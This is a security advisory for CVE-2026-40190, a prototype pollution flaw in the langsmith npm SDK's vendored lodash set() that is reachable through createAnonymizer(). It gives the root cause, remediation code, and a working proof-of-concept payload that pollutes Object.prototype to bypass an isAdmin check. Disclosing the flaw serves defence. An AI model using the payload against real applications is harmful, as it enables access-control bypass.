CVE-2026-40190: LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`
GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk Severity: Medium (CVSS ~5.6) Status: Fixed in 0.5.18 --- Summary The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility.
Published Apr 10, 2026
Affected packages
langsmith
- Ecosystem
- npm
- Affected
- <= 0.5.17
- Fixed in
- 0.5.18
- Check
npm ls langsmith
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk
Severity: Medium (CVSS ~5.6) Status: Fixed in 0.5.18
---
Summary
The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.
---
Affected Products
| Product | Affected Versions | Component | | `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` | | langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |
Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.
---
Root Cause
The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:
function baseAssignValue(object: Record<string, any>, key: string, value: any) {
if (key === "__proto__") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value: value, writable: true,
});
} else {
object[key] = value; // ← No guard for "constructor" or "prototype" keys
}
}This blocks __proto__ pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":
castPath()splits it into["constructor", "prototype", "polluted"]baseSet()iterates:obj.constructor→Object→Object.prototypeassignValue(Object.prototype, "polluted", value)callsbaseAssignValue()- Key is
"polluted"(not"__proto__"), so the guard is bypassed Object.prototype.polluted = value— all objects are polluted
---
Attack Vector via Anonymizer
The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:
- Extracting string nodes —
extractStringNodes()walks an object recursively and builds dotted paths from keys - Applying regex replacements — If a string value matches a configured pattern, the node is marked for update (
anonymizer/index.ts:95) - Writing back with `set()` —
set(mutateValue, node.path, node.value)writes the replaced value back (anonymizer/index.ts:123)
An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:
{
wrapper: {
"constructor.prototype.isAdmin": "contains-secret-pattern"
}
}extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.
Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.
---
Proof of Concept
import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([
{ pattern: "secret", replace: "[REDACTED]" }
]);
console.log("BEFORE:", ({}).isAdmin); // undefined
const maliciousInput = {
wrapper: {
"constructor.prototype.isAdmin": "this-is-secret-data"
}
};
anonymizer(maliciousInput);
console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"
function checkAccess(user) {
if (user.isAdmin) return "ACCESS GRANTED";
return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED---
Impact
Prototype pollution in a Node.js process can enable:
- Authentication bypass —
if (user.isAdmin)checks succeed on all objects - Remote Code Execution — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach
eval()/Function()sinks - Denial of Service — Overwriting
toString,valueOf, orhasOwnPropertyon all objects - Data exfiltration — Polluting serialization methods to inject attacker-controlled values
---
Remediation
In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:
function baseAssignValue(object, key, value) {
if (key === "__proto__" || key === "constructor" || key === "prototype") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value, writable: true,
});
} else {
object[key] = value;
}
}As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().
---
Timeline
| Date | Event | | 2026-03-24 | Initial report submitted | | 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |
---
Credits
Reported by: OneThing4101
Credited to OneThing4101.
References
- https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252
- https://github.com/langchain-ai/langsmith-sdk/pull/2690
- https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3
- https://nvd.nist.gov/vuln/detail/CVE-2026-40190
- https://github.com/advisories/GHSA-fw9q-39r9-c252
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-45134
LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning
high7.1May 13, 2026CVE-2026-41182
LangSmith SDK: Streaming token events bypass output redaction
medium5.3Apr 16, 2026CVE-2026-25528
LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection
medium5.8Feb 9, 2026
